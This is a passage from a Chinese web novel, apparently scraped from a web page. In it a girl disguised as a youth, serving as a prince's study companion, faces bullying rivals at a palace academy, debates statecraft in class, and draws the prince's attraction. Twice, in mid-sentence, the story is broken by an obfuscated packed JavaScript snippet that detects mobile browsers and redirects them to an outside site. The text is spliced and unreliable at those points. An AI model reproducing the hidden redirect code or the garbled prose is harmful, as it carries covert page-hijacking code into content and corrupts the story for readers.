薛越笑了一声:“你薛爷我就爱在这横着走,你管得着吗?”说罢,还挑了挑眉,一副完全不把叶青言放在眼里的模样。 “兔子跳、鸟儿飞,鱼儿游,除了人类,这世间生灵走姿万千……”叶青言轻轻瞟他一眼,说,“我从不管畜牲的事。” 薛越一怔,反应过来后,狠狠地伸出手想推叶青言一把:“你竟敢骂我!” 叶青言似是早料到薛越接下来的动作一般,在他动手之际,飞快地后退躲开。 薛越不仅推了个空,脚下还趔趄了一跤,差点摔倒:“叶思砚你他妈!不过是个有娘生没爹养的小贱种,居然敢嘲讽你薛爷爷我,看我不打死你!” 薛越一拳挥出,却被叶青言钳住手腕,并用巧劲泄去他手上的力道。 叶青言看着文弱,实则力气不小,对付薛越这种虚有其表的二世祖,完全不在话下。 薛越满脸阴鸷,双眼狠戾地瞪着叶青言。 叶青言可不怕他,脸色不改,冷冷地甩开他的手,淡声道:“望君自重,而后人方重之。” 薛越哪里受得了被人这样对待,可他又奈何不得叶青言,也不敢真得在学宫附近大闹起来,两人就这样剑拔弩张地对峙着。 叶青言和薛越,一个是二皇子的伴读,一个是三皇子的伴读,两人身份敏感,路过的其他学子可不想介入进这两方的恩怨,因而并无人上前劝阻。 直到林翊的到来。 “阿言?”林翊走到叶青言身边,奇怪道,“你怎么在这站着?”说罢,转过脸,目光沉沉地看了眼拦在叶青言面前的薛越。 薛越见状,神情一僵。 叶青言见是林翊,作揖行礼:“殿下。” 林翊摆摆手示意免礼,同时目光锐利地扫向薛越:“早课就要开始了,你拦着阿言作甚?” 薛越僵硬地扯起嘴角,堆出一个虚伪的笑容,道:“二殿下,我是有些课业上的问题想请教思砚。” 林翊转眸,以眼神询问叶青言。 叶青言微笑了笑,说:“明庭兄问了我些关于螃蟹横行的习性问题。” 薛越听罢,脸色一下沉了下来,可当着林翊的面又不敢发作,只能忍着气点头:“不错。” 林翊:“谈完了?” 叶青言:“谈完了。” “那我们走吧。”话是对叶青言说的,可林翊看的却是薛越。 薛越只得让开,望着叶青言离开的背影,脸色一阵青一阵白。 走出不远的距离,林翊问:“他欺负你了?” 叶青言摇头:“他欺负不了我。” 叶青言说这话时的神情很平静,是那种不管东南西北风,我自抓着青山不放松的平静。 林翊不觉侧目看她,须臾,笑了一声,说道:“那倒也是,就薛明庭那样的草包,能不被你欺负就该烧高香了。” “殿下,是他拦下的我。”叶青言看向林翊,提醒道。 “那又怎样?”林翊挑了挑眉,一把勾住叶青言的肩膀,“我就是相信你有反欺负回去的本事。” 叶青言身子微微一僵,不着痕迹地从林翊的臂弯下退出:“那我就谢过殿下看重了。” 两人靠近时,叶青言身上一股类似丹桂的清香似有似无地飘进林翊的鼻腔之中。 这大夏天的,人人身上都是汗味,阿言怎么还跟女子一般,身上香香的? 4. 求同存异 林翊下意识打量起了叶青言。 饱满的额头下边,是飞扬入鬓的眉,双唇丰润殷红,鼻梁瞧着极是挺秀,可到鼻尖处又略略扬起一个优美的弧度,带着股说不出的温和生动。柔顺的黑发只用一根发带简单的束在头顶,长长的发尾如瀑布般披散下来,在阳光下流动出彩虹的颜色,但最惹眼的还是她那一双黑得没有一丝杂质的眼睛,如日光照入春水,闪动着温润的亮光。 林翊不觉看得呆了。 “殿下?” 叶青言轻唤一声,林翊顿时找回神志。 “怎么了?”见人神色不对,叶青言关心道。 “无事,走吧。”林翊摆了摆手,逃也似地迈步往前。 叶青言迟钝地眨了眨眼,随后跟上。 两人一路往前,走进学宫大门,而后又沿着中轴线穿过二道的集贤门,再顺着游廊往右拐了几道,这才到了平时上课的太学院。 已经在场的众学子见二皇子到来,纷纷起身问安。 林翊摆摆手表示免礼,众人方才各自散去。 看到林翊和叶青言一起进来,沈昭十分诧异:“你们怎会一起过来?”说罢,还十分幽怨地给叶青言递了一个眼神,“阿言,你今日可是来的晚了。” 昨日落堂,荀夫子给学生们留了不少居学课业,沈昭昨晚没写,今日早早过来,就是想找叶青言帮忙一起写的,可对方居然来得这样迟!还是同二表哥一起到的。 叶青言岂会看不出沈昭的意图,轻飘飘扫他一眼,说道:“路上出了点意外。” “什么意外?”沈昭追问,他刚刚一直在写字,还不知晓宫道上发生的事情。 叶青言将书袋里的书本拿出来摆好,同时也帮林翊做好一切,而后才道:“没什么,就是路上有犬乱吠,已经被殿下解决了。” 叶青言话音才落,就看到了跟在林竑身后进门的薛越。 薛越显然也听到叶青言的话了,面色铁青,狠厉的眼神跟刀子似的,嗖嗖嗖地往叶青言身上扎。 叶青言毫不在意。 反倒是林翊,冷冷地盯着薛越,双目沉沉,他很不喜欢薛越看着阿言的眼神。 触及林翊的目光,薛越愤恨地收回了眼。 林竑瞟向林翊三人,视线在沈昭身上定了一定,随即像是想到了什么,侧身凑近薛越,在他耳边低语了几句。 薛越听罢,眼神一亮,再次看向叶青言的眼神充满了不屑和挑衅。 叶青言懒得搭理他。 什么眼神?沈昭见状不爽,眼看就要上前同薛越理论,却被叶青言一把按了住。 叶青言头也不抬地说道:“早课就快开始了。” “这你都能忍?”沈昭极是不爽,不等人答,又道,“但我忍不了。” 叶青言就看着他,平静说道:“这有什么好不能忍的?狗咬了你,难道你还反咬狗不成?” 沈昭一怔,随即喷笑,心下窜起的火气顿时消了大半。 叶青言说话的声音不大不小,除了他们三人,刚刚好只够让距离他们最近的林竑和薛越听见。 林竑听罢脸色一下就沉了下来,敢当着他的面,这样奚落他的人,这叶青言是当真不将他放在眼里。 眼看林竑就要发作,林翊堪堪抬首,冷冷望了过去。 四目相对,林竑愣住,待回过神来,暗骂自己竟被对方一个眼神吓住,心下不觉越发恼怒,正想上前教训叶青言,可就在这时,学宫的第一道课钟声响了起来。 屋里众人闻声,纷纷回位落座。 一会儿的功夫,学屋里就只剩林竑和薛越两人还笔直地站着。 众人诧异看去,方才其他人也都各自说得热闹,因而并没有人注意叶青言等人的冲突。 林竑的脸色十分难看,可钟声已响,这预示着夫子已经在过来的路上……无法当下找回场子,林竑怒极,却也只能甩袖落座。 薛越紧随其后。 薛越的屁股刚刚落定,谢老夫子就走了进来。 一日的课业随之开始。 南苑学宫上午的课程从辰时开始到巳时结束,中间会有一小段的休息时间,巳时之后,御膳房会将午膳送来,所有老师和学生的午膳都有膳房统一提供。 待用过午饭,还有一个时辰的午休时间,少年人正是长身体的时候,适量的睡眠对身体有益。 下午的课程则从未正开始,至申末结束。下午的主要功课是读书和考教,偶尔也会加进骑射和武术等强身健体的课目。 待每日夫子考教完毕,才算结束这一整天的课业。 别看谢夫子平日里不苟言笑,训起人来滔滔不绝,整就一个大腐儒,可当他真正拿起书本讲课时,整个人都会变得不同起来。 他讲解一篇文章之前,会先介绍该文章的创作背景,抒发何意,其中又涉及了哪些典故等等,所言所讲皆信手拈来,根本无需翻书看书。他还会将书中的内容与平日所见相结合,循循善诱,将众人真正带进书中的语境里去。 条理清晰,引经据典,环环扣入,末了还会抛开四书五经,根据当日所讲的内容,说起他曾经与同窗们云游各地时的见闻,以巩固众人今日所学。 谢夫子所讲述的好些事情都是叶青言他们这些身处京城的小公子们所没有听过的,是以众人都听得津津有味,浑不觉时间飞逝。 外边的日头渐渐升至高空,有风吹拂,树叶哗啦啦地响着,将直落而下的光线散成很多个细碎的光斑,施施然撒落地面。 “老夫方才所讲,众人可有不解?”谢夫子合上书册,问道。 众人纷纷摇头,未有接话之人。 谢夫子今日所讲的是《中庸》。 《中庸》原出自《礼记》的第三十一篇,后为学者从《礼记》中抽出,与《大学》、《论语》、《孟子》合称为“四书”,是当下科举考试的必读书目之一。 见众人均无疑问,谢夫子便低下头,开始整理面前的教案,准备下学。 就在这时,下方突然传来“砰”一声响。 谢夫子不满抬头,见发出声音的人是叶青言,一怔,面色稍缓,问道:“思砚可是有所疑问?” 叶青言一贯尊师重教,又谨慎守礼,谢夫子对她的印象极好,是以并未动怒。 就在刚才,谢夫子低头整理教案时,薛越趁机伸出长腿,大力地踢了叶青言的桌案一脚,那声砰响就是这样发出的。 叶青言从容不迫起身,作了一辑,说道:“学生确有疑问,烦请夫子解惑。” 谢夫子定定看着叶青言,她的眉眼犹显清稚,气度却是不凡,在她身上,很容易就能看到一种名为大气的气质,渊渟岳峙之感油然而起。 “是何处不解?”谢夫子背着手,十分温和问道。 “书中有云:万物并育而不相害,道并行而不相悖,此言意为万物相容,然这世间不容者众,烈日与明月、白天与黑夜、贪吏与庶民、贫穷与富贵……等等,皆难容矣,学生想请教夫子,这些难以相容之处,当如何两全?” 叶青言说这段话时的眼睛很明亮,神情也很端正。 林翊微转过头,仰着脸,双眼一眨不眨地看着立在自己身后的叶青言,此时日头正盛,耀眼的阳光从窗外照进,打在叶青言的身上,衬得她鬓间的发丝如漆,林翊看着看着,脑中不由就浮起了“朗朗如日月之入怀”这样的话来。 “世间万物,无论是细小如草芥者,亦或广袤若天地众,凡存于世间,无不同风共雨,共荣共生,你所列举的这些,乃事物的两面,并不矛盾。”谢夫子往前行了数步,侃侃说道,“这世间道法千万,一通运行,也不过求同存异四字尔尔。人与人不同,想法自然也不尽相同,‘道并行而不相悖’,意在取并行之处,避开相悖,如此方为‘容’之真意。你可明了?” 求同存异,中庸之道,大抵如是。 可现今朝堂,两派相争已呈鼎沸之势,不可调和,亦无法同存。 夫子之言,终究是理想化了。 叶青言低下头,与林翊对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922577|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视了一眼,躬身作揖:“学生受教。” 用过午饭,便到了歇晌的时候,师生们都有半个时辰的休息时间。 夫子们在后院有自己专门的休息之所,学生们则只能留在前院。 南苑学宫建立之初,匠作监便在太祖皇帝的示意下专门在学屋后面的殿宇里开了一处寝殿出来,里头是一张大通铺,占地极广,躺上十来个少年完全不在话下。 叶青言固定的午睡位置是靠西墙的一个床位,比邻着二皇子林翊。 可今日,她的床位上坐了一个人,一个意料之中的人。 “我今天中午想跟二哥睡一块儿,你的这个位置我要了,你就睡我那里去。”林竑说得理所当然。 他是皇子,此言虽显跋扈,但并无不妥,叶青言不好拒绝。 叶青言看了眼林竑平常休息的地方,位于通铺的最中间,其中一侧躺的薛越,另一侧是相王府的三公子林宣桐。 林宣桐是京城里出了名的浪荡子,名声极差,荤素不忌。叶青言生得俊美,林宣桐几度垂涎,但他也不是傻子,很清楚什么人能碰,什么人不能碰。 所以对于叶青言,林宣桐虽然垂涎,但至多也只是口头上的调戏,并在被叶青言狠揍一顿后,老实了下来。 可叶青言若真睡到了他旁边,他定是会做点什么的,哪怕过后又被叶青言暴揍。 林宣桐挑了挑眉,一脸兴致盎然地看着叶青言,却见她毫无愠色,唇边反而掀起一抹极淡的笑意来。 叶青言当然不可能睡到林宣桐身边,更何况那位置的另一边还是薛越。 林竑也清楚叶青言不会过去,他此举就只是想恶心一下叶青言。 林竑讨厌林翊,更加厌恶叶青言。 不过是个破落户,竟也敢嘲讽于他。 叶青言抿了抿唇,很认真地说道:“殿下的床位,思砚岂敢碰触。” 林竑微微眯眼:“你不愿意跟我换?” 叶青言笑了一笑,说:“殿下言重了,普天之下莫非王土,不过区区一个床位,殿下想要,躺了便是,何来换字一说。” 林竑闻言,嗤笑一声:“你倒是会说话。” “殿下谬赞了。”叶青言道。 看着叶青言那认真而平静的表情,不知为何,林竑心下反而越发怒火中烧起来。 从方才到现在,处于主导位置的人一直是他,是他在奚落叶青言,可对方却没表现出任何受辱的不忿来。叶青言的一言一行都极有分寸,疏离又不欠缺礼数,而显得他这个始作俑者,是那么的愚蠢幼稚。 叶青言并不在意林竑的心情,她郑重地行了一礼:“殿下若无他事,思砚便先退下了。” 说罢,叶青言便转身走出了寝殿。 林宣桐看着叶青言离开的背影,颇有些遗憾地叹了口气,鹬蚌相争,本以为他这个渔翁能趁机得点好处,那小腰,瞧着就细,若能有幸摸上一把…… 正午的天气很热,火辣辣的太阳热烈地炙烤着大地,仿佛欲将地上的行人也一起烧焦。 正往学屋而去的叶青言在半道上与如厕归来的林翊、沈昭相遇。 “阿言?你怎么出来了?”林翊纳闷,叶青言一向珍惜午休,就连与他们一同过去如厕的时间也不愿浪费。 叶青言看着林翊,叹息:“三殿下想同您抵足而眠,便占了我的床位。” 林翊显然有被叶青言的话语给恶心到,他与林竑?抵足而眠? “所以他现在睡在你的位置上?我的旁边?” 叶青言点头。 林翊扯了扯嘴角:“我不过去了,淮之你自个儿回去睡吧。” 沈昭当然不愿:“咱们三可是好兄弟,你们不能丢下我。” “成啊,我打算利用午休这段时间练一练字,淮之你的字亦需加强,不如随我一起练习?”叶青言建议。 沈昭:“……突然觉得有点困,我还是回去午歇吧。”说完,转身就走。 叶青言同林翊对看了一眼,相视一笑。 5. 学堂辩论 榴花似火,挤挤攘攘地拥在枝头,并随着枝条的伸展探至窗前,橙红的花朵明艳欲燃,灿烂得耀眼。 四下静寂,叶青言手执狼毫,一笔一划,认真地临摹着面前的字帖。 林翊则慵懒地倚在她的对面翻书。 是的,只是翻书,而非看书。 有风拂来,萦绕楼间。 一股熟悉的,浅淡的丹桂清香,随着轻风,若有似无地飘荡进林翊的鼻息之间。 林翊翻书的手不觉一滞。 屋外蝉鸣起伏,燥热的天气合着燥人的声音,使得本就炎热的天候变得越发炎热起来。 那似有似无的浅淡桂香,也随之变得更加浓郁。 林翊抬起了头。 在他对面,叶青言依旧神情专注地写着字。 她执笔的模样十分认真,笔走龙蛇的每一次起伏都是同样的姿势与速度,仿佛经过专门的训练一般,挑不出一丝一毫的错处。 叶青言所临摹的是颜体,颜体结体谨严,横轻竖重,笔力雄强圆厚,气势庄严雄浑,清丽俊秀,自有一股大气之风。 林翊静静地看着,目光不自觉就从叶青言的手,缓缓移到她的脸上。 她的面庞尚且稚嫩,眸如墨星,唇似红樱,许是因为天气炎热,她嫩白的双颊上凝了两团淡淡的红晕,看着极为美丽,是那种超越了性别,非常健康的美丽,只是瞧着,便让人身心愉快。 一阵偏方向的风突然裹了进来,将叶青言耳后的发丝吹到眼前,她抬起手,将发丝挪开。 林翊的心被猛烈地弹了一下,像是被什么东西击中,接着便觉得口干舌燥,他下意识咽了口口水,勉力将自己的视线从叶青言脸上扒开。 丹桂的清香,无孔不入,又无处可循。 翻书的声音不由变得愈加频繁起来。 日光缓移。 良久,叶青言放下手中狼毫,叹气道:“殿下,这本书您已经翻了三遍了。” 林翊没有抬头,说道:“读书百遍,其义自见。” “可您只是在翻书。”叶青言直截了当地戳穿了他。 林翊闻言,笑着从书中抬起了头:“你都没有看我,又怎知我只是在翻书?” 叶青言也不解释,只道:“您就差把心不在焉四个字写到脸上了。” 林翊摸了摸自己的脸:“有这么明显?” 叶青言点头,一脸关切地望着林翊:“可是出了何事?” 四目相对,叶青言的目光清澈透亮,仿佛一眼就能将人透彻看穿,林翊不自在地转开了眼:“没什么,就是天气太热了,所以没什么兴致。” 叶青言将信将疑看着他。 林翊徐徐拨弄着手中书页,感受着前方隐隐溢来的幽香:“你不相信?” 问出这句话的时候,林翊的情绪有些复杂,那是对接下来发展的好奇以及一丝不知从哪里来的不安,还有那么一点不知缘由的期待。 是的,期待。 他在期待阿言的回答。 “我自然信您。”叶青言道。 随着话语落下,林翊心中蓦地涌起一股微酸的情绪来。 “这样炎热的天气,又没有足够的休息,人一旦没了兴致,就跟被抽了脊梁骨似的,连动一动手指都懒得。”叶青言的话语还在继续,“苦夏难熬,今日是我不知轻重,而累得殿下您同我一起不能歇息。” 这话林翊就不爱听了。 只见他皱起眉头,将手中的书本扔到案上,说道:“这哪里是你的缘故,老三会那样对你,归根结底也不过是想通过针对你来给我难堪,你今日应对得极好。” 叶青言抿了抿唇,叹道:“若我仔细一些,也不是不能避免。” “抢卷子、踢桌子,你如何避免?便是让你避开了这一回,那下一回呢?只要你还是我的伴读,就逃不开他们的针对,难道你还能不做了……” “殿下!”叶青言忙出声打断。 看着叶青言略显无措的眼神,林翊的心情忽然就变得很好,他耸了耸肩:“我就这么一说。” “那也不行!” 不管叶青言的性情再如何沉静,终归也只是个未满十六岁的少年,此时此刻,面对这样的话题,她难免会觉得慌张。 “好好好,我不说就是。”林翊觉得他这模样有些可爱,不由便顺着他的意思接道。 话一出口,就发现自己这语气有些过于宠溺,面颊蓦地红了一下。 叶青言却是没有发觉,她异常郑重地希望林翊日后莫说这话。 林翊自然答应。 阿言是块难得的璞玉,今后也定是块稀世宝物。 选叶青言来做自己的伴读,一直是林翊觉得做得最正确的选择。 有叶青言在的时候,他想要的东西总会第一时间到他手边,笔墨书籍的摆放也是最顺手的,他也无需去操心别的事情,阿言总会帮他打理好一切。 所以到后来,很多不归伴读做的事情,林翊也会交给叶青言去做。 这样让人省心的阿言,林翊又怎么可能放她离开? 午后的阳光依旧热烈。 巍峨的太学院在阳光之下显得格外庄严,屋顶黑色的圆檐反射着阳光,画面感很神圣。 学生们叽叽咕咕的说话声,在荀夫子捧着教案踏入学屋的瞬间便消弭了下去。 若说谢夫子是南苑学宫里最方正古板的夫子,那荀夫子便是整个学宫最风趣的夫子,没有之一。 不似其他夫子在课上以传授讲解为主,荀夫子做得更多的是引导学生们踊跃地提出自己的疑问和观点,再耐心地加以解释,为了照顾资质不够的学生,他还会特别说得直白浅显一些。 荀夫子年岁不大,四十不到,是嘉和元年今上初初登基之时所钦点的探花郎。别看荀夫子长得柔和,人也风趣,却是学宫所有夫子里手段最严苛的一位,从没人敢在他的课上捣乱,因为他是真的会动手体罚。 大皇子林竫就曾因在课上捣乱而被他狠狠地抽过十下手心。 过后陛下不仅没有惩罚,反而盛赞他不畏强权,有为师之风范。 自那以后,再没人敢在他的课上撒野。 无论是谢夫子还是荀夫子,亦或其他老师,能被陛下挑选进学宫作讲师的,自都有其过人之处。 荀夫子坐下后,先是吩咐众人把昨日的居学课业上交,而后又将前日上交的作业重新发回,再把发回作业里有疑问的地方一一列出,加以详细的讲解,以巩固众人所学。 当然,他也不吝啬地夸奖了其中几位写得好的学生们。 其中林翊就得了荀夫子的大力赞赏。 若说谢夫子最喜欢的学生是叶青言,那荀夫子最钟爱的学生必然就是二皇子林翊。 林翊毫无疑问是个天才,他三岁启蒙习文,四岁通晓诗词,七岁便能撰写文章,心思敏锐,一点即通,就是平常混不吝了些,除了谢老夫子,学宫里的其他老师都很喜欢他。 解决好疑问,接着便是布置作业,荀夫子让学生们归家后以“保民而王,莫之能御也”为主题,写一篇不下于千字的策论。 此句出自《孟子》,是他们早先学过的篇章,理解起来倒也不难。 布置完课业,荀夫子也不讲课了,而是指挥着众人将屋子中央的桌椅都移至两侧,带领着一众学生们开启了辩道大会。 荀夫子经常在课堂上开启辩道会,因而众人也不陌生,动起手来十分利落。 此次辩道的主题是垂裳而治与开疆戍边,正是他们昨日的居学作业。 垂裳而治与开疆戍边,这是完全不同的两个观点。 垂裳而治,出自《周易》,是极高的一种思想境界,类似于道家的无为而治,意指君王不应穷兵黩武,扰乱百姓的作息。 而开疆戍边,顾名思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922578|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 义,恰恰需要大举发兵,劳民伤财。 这样两个完全不同的命题放在一起写一篇策论很难,但将其分开,作为辩道的主题,就要容易很多。 开辩的学子们,有的认同垂裳而治,有的更倾向开疆戍边,各抒己见,各执一词,席间辩驳很是精彩。 最后立在学屋中间的两人,分别是林翊和叶青言。 时近申正,从窗外洒进的阳光还是那般炽烈。 叶青言站在窗前不远的地方,阳光照耀在她的脸上,衬得她俊秀非凡,美丽得仿佛琉璃一般。 林翊静静地看着叶青言,看着那双惯常波澜不惊的眼中所流淌起地跃跃欲试的光芒,心情颇佳。 对于垂裳而治和开疆戍边,林、叶两人并不是一味地认同或反对,他们不约而同都选择了二者相结合,只是各有侧重。 叶青言更倾向垂裳而治,林翊则更认同开疆戍边。 “施仁,是为民也,兴兵,亦为民也。施仁布政,是为了天下百姓,镇守边关,抵御外敌,亦是为了天下百姓,这两点并无冲突,在这一点上,我们已达成了一致,对否?”林翊率先开口道。 叶青言颔首:“一个国家要想长治久安离不开军队,但对军队的治理不该凌驾在文治之上。” 这点,林翊并不赞同:“边境不稳,何谈文治安邦,就说现今朝堂,南有百越久攻不下,北边又有瓦剌兴起,外族虎视眈眈,多少将士身陨他乡,我们如今能在此辩合,皆因边关有勇武儿郎在为我们固守防卫。” “是以,我并未否定开疆戍边的重要性。”叶青言接道,“只是事有先后,外敌不是不打,而是不能急于一时,饭要一口一口吃,打仗也是一样,天时地利人和缺一不可,眼下国土之内尚且不稳,天灾人祸不断,去岁的关中地震,闽粤流民,还有今年开春的济南洪灾,这些才是当务之急。” “自然灾害年年都有,岂能因此就忽视了边境安宁?再太平的盛世,路上也会有抢劫的盗匪,会有不测的天灾人祸。”林翊说着,突然拿起一本书,上前,将书本放到了窗上,正正好挡住了落到叶青言脸上的阳光,“阳光普照大地,可只需这样一本册子,便能遮去你头顶的全部光线,我庆朝地大物博,又如何能确保国境之内永无天灾?要想顺应天命,垂裳而治,难。” 叶青言看着林翊,他就站在窗边,阳光从云层的边缘漏下来,落在他的身上,散射出淡淡一层光晕,他的嗓音虽淡,落在叶青言耳中却如平地惊雷,她不由自主跟着他的思路去想。 开疆扩土,守护国境,是每个庆朝人都心向往之的事,可现实并不允许,先不说北边位于草原深处的瓦剌,就说百越。 朝廷若真大举进兵,要攻下百越都城,收复失地不过是顷刻之事,可百越之地易攻难守,这也是它屡屡脱离朝廷辖制的最主要原因。 这些事情殿下并非不知,身为皇族,有壮志雄心是极好的事。 叶青言忽而笑了起来,抬手指着屋外的一株花树,道:“那树遭虫咬了。” 林翊一怔,抬目望去,果见花叶上残留着不少虫蚁啃噬过的痕迹。 叶青言接着说道:“遇到这种情况,大多数花匠都不会因此就放任它自生自灭,他们会剪去病枝,修整余干,勤加护理,即便这需要花费很多的时间和精力,只有彻底治好了这一株,才能确保它旁边的其他花树不受牵连,如此才能腾出精力种植更多的树。” 叶青言说话时的眼睛很亮,炽烈的阳光下,她整个人都仿佛亮了起来,在众人面前闪闪发着光。 林翊挑了挑眉,他突然就不想再和阿言辩论了,终归他们在大方向上的观念是相同的,只是各有偏重。 此时的林翊不会知道,在将来的有一天,他们会因为各自的侧重不同,而爆发史无前例的争论,甚至差点因此断交。 这日散了学堂,林翊特意邀叶青言和沈昭一同到庆宁宫小坐。 6. 分享香方 重重宫墙之上,黄色的琉璃瓦在阳光下泛起金色的光泽。 林翊等三人缓步走在宫道上。 经过一个午间的暴晒,道路两旁的树木仿佛恹了一般,有气无力地垂着,不能给走过的行人带来丁点儿的凉意与遮蔽。 叶青言主动落后了林翊与沈昭半步。 林翊淡淡看了一眼,便明白了叶青言的意思,臣下不能与皇子并排,这是规矩,虽然他并不介意,以往他们也没有注意过这些虚礼,可现下时局紧张,太过特殊,与阿言来说不是福,而是祸。 所以对此,林翊并未阻止,只觉旁边树上不断传来的蝉鸣声音很是聒噪,令他烦闷。 沈昭完全没有注意到身边两人的眉眼官司,一心只想着林翊邀他们来时所说的摔跤好手的事。 庆宁宫位于东华门左近,就建在前朝和后宫的交界线上。 大庆朝的皇子需年满十六才能出宫开府,可开蒙读书后的皇子又不能再住在后妃宫里,所以太祖皇帝便命匠作监专门建了庆宁宫来给这部分年纪的皇子们居住。 林翊是中宫嫡出,占据了庆宁宫的主院。 傍晚的天幕依旧十分耀眼,清风缕缕,带动凉亭之下的水流,水纹一圈一圈漾开。 凉亭之内,林翊等三人分别落坐在摆着瓜果茶水的长几后面,身旁还立着几名随伺的太监和宫女。 凉亭之外,两名光着上身的健壮侍卫正在摔跤搏斗。 他们相互试探,小心翼翼地靠近,最后缠斗到了一起,两人明显都是高手,拉扯的过程十分焦灼。 晚阳湛湛,有汗珠沿着他们俊朗周正的脸庞滚动,滴落在肌肉结实的身躯之上。 宛如野兽般的喘息,不断从两人身上传出,他们互不相让,就在二人僵持之际,其中一人猛地挣出手来,死死扣住另一人窄瘦精壮的腰身,往后一用力,将其狠狠摔倒在地。 “好。”沈昭抚掌大赞,“二表哥你是从哪寻来的这么厉害的侍卫?” 林翊朝身旁的小太监使了个眼色。 那太监意会,当即走出凉亭,给外边的两个侍卫赐了赏,并吩咐他们退下。 “是去岁刚出宫开府那位送来的,不止是我,其他几个兄弟那儿也各送了两人过去。”林翊有些厌恶地皱了皱眉头,道,“说是特意送来保护我们的安全的。” 沈昭完全不信:“他能有这么好心?这你都敢收?” 林翊笑了一声,出口的声音不大,却足够让身侧的两人都能听清他的话。 “他送来之前就已经同父皇通过气了,我如何能不收?” 沈昭闻言,悻悻闭了嘴,忍了忍,还是没能忍住:“你说陛下究竟是怎么想的?明明前脚才训斥了贵妃,她人至今也还被禁足在清凉殿里,怎么后脚就坐视大皇子往你身边安插人了?” “这大抵就是帝王的制衡之术吧。”林翊淡淡说道,言罢,他喝了口茶,不甚在意再道,“就当是养了两只供消遣的玩意儿,你方才不也说他们斗得精彩?” 沈昭一时语塞,半晌,才实事求是说道:“那他们的手脚功夫也确实不错。”末了,还试图给自己拉个同盟,问叶青言说,“阿言你说呢?” 被点名的叶青言讷讷看了过去,她能说什么?她刚刚根本什么也没看。 “确实不错。”叶青言选择了附和。 “真的吗?”林翊含笑看着叶青言,“我瞧着阿言你刚刚一直都低着头。” 揶揄的笑声入耳,叶青言有一瞬的惊慌,但她并不想让对方看出端倪,强自镇定道:“殿下您看错了。” 林翊确信自己没有看错,他方才瞧得仔细,阿言就没正眼看那两侍卫一眼,即便是抬首前望,她的目光也是涣散的。这让林翊心底那点莫名其妙的烦躁无端就消了下去。 沈昭也说:“就是,刚才那样精彩的比赛你不看,反而去看阿言?你以为我会信?” 林翊被这话噎了一下,颇有些尴尬地咳了一声,笑着将茶杯搁在几上:“好吧,被你看出来了。” 沈昭骄傲地扬起下巴。 叶青言好笑地看他一眼,摇了摇头,端起面前的茶盏小口小口地啜着,茶杯里斟的是冷泡茶,冷茶不能喝得太快,那样不仅不能解渴,反而还会肚子受不了。 沈昭看着叶青言娘们唧唧的喝茶样子,瘪了瘪嘴,却没敢多说什么。 别看阿言生得玉雪可爱,却是一点儿也不好惹。 尤记得小时候有一回宫宴。 那还是他们三人的第一次见面,林翊因嘲笑叶青言长得像姑娘,而被叶青言扑倒在地上狠揍。 当然,林翊也有反抗,两人狠狠打了一架。 也算是不打不相识,若没有那一架,叶青言也做不成林翊的伴读。 一个人一旦做了皇子的伴读,如无意外,那他以及他身后的家族,将会与该皇子的未来紧紧联系在一起,他们是天然的政治盟友。 所以皇子的伴读一般都是从外戚家中选的。 大皇子从前在学宫的伴读就出自外祖高家。 三皇子现今的伴读薛越,也是高贵妃母亲的娘家。 由外戚做伴读是一种俗例,也算是给后妃们的家族一个进身之阶。虽然人们一提起外戚来就总跟奸臣划上等号,但谁家办事不提拔自己的亲人? 只有叶青言是个意外,他是林翊自己亲自挑选的伴读。 也幸而成国公府是皇后一脉的天然盟友,不然这伴读之位还真轮不上叶青言。 沈昭看了看林翊,又看了看叶青言,笑说道:“方才在课堂的辩道会上,你们争论得那么激烈,我还以为过来之后你们还得再辩一辩。” 林翊不知何时变换了坐姿,他偏着头,整个人慵懒地半倚着,听了沈昭的话语,漫不经心地嗤了声:“不过就是一场辩合,哪里值得我同阿言一再提及。” 叶青言也道:“殿下说的不错。” 微顿了顿,叶青言又说:“其实殿下的好些观点,我也并非全然不赞同。” “巧了不是,我也一样。”林翊看着叶青言就笑。 一个有意放纵,一个真心叹服,倒也相得益彰。 沈昭再次看看这个,又看看那个,突然就觉得自己在这很多余…… “保民而王,莫之能御,此句阿言做何解?”两人的交谈还在继续。 “虽是认同殿下,但我的观点依旧不变。” “一棵树木,若受到虫害的是树干,修枝剪叶,终是治标不治本。” “树的生命在于树根,只要有水、有土,便能生机不绝。” “如此费时费力,不如将其连根拔起,再种上一株新的。” “谁又能保证新株就不会再受虫害侵蚀?” “可若不一试,便永远都不会知道,世间之事何来圆满无暇?你顾虑得太多。” “总要尽己所能,做到最好,才好去做其他。” “就怕时不我待。” “那便只有双管齐下了。” “倒也未尝不可。” 连珠炮一般的对话戛然而止,林翊与叶青言相视一笑,显得十分愉快。 沈昭像看怪物一样地看着他们二人对答,中途几次想开口都插不上话,见二人终于停下,刚想说点什么显示一下存在感,就听林翊又道:“阿言,你身上好香啊,闻着似乎是丹桂的味道,是用的什么法子?” 说着,还伸长脖子往叶青言的方向嗅了嗅。 “……”沈昭:如果不是他们三人从小一起长大,如果不是知晓阿言是个男子,他都要以为自家表兄这是看上阿言了。 叶青言微微有些羞恼,她眉毛耷拉下来,但并不显得颓然,反而给人一种很安顺无害的感觉,温声说道:“衣裳都有熏过,自然是香的,殿下您的衣裳也是香的。” 林翊眨了眨眼:“我的都没你的好闻,你熏的什么香?” 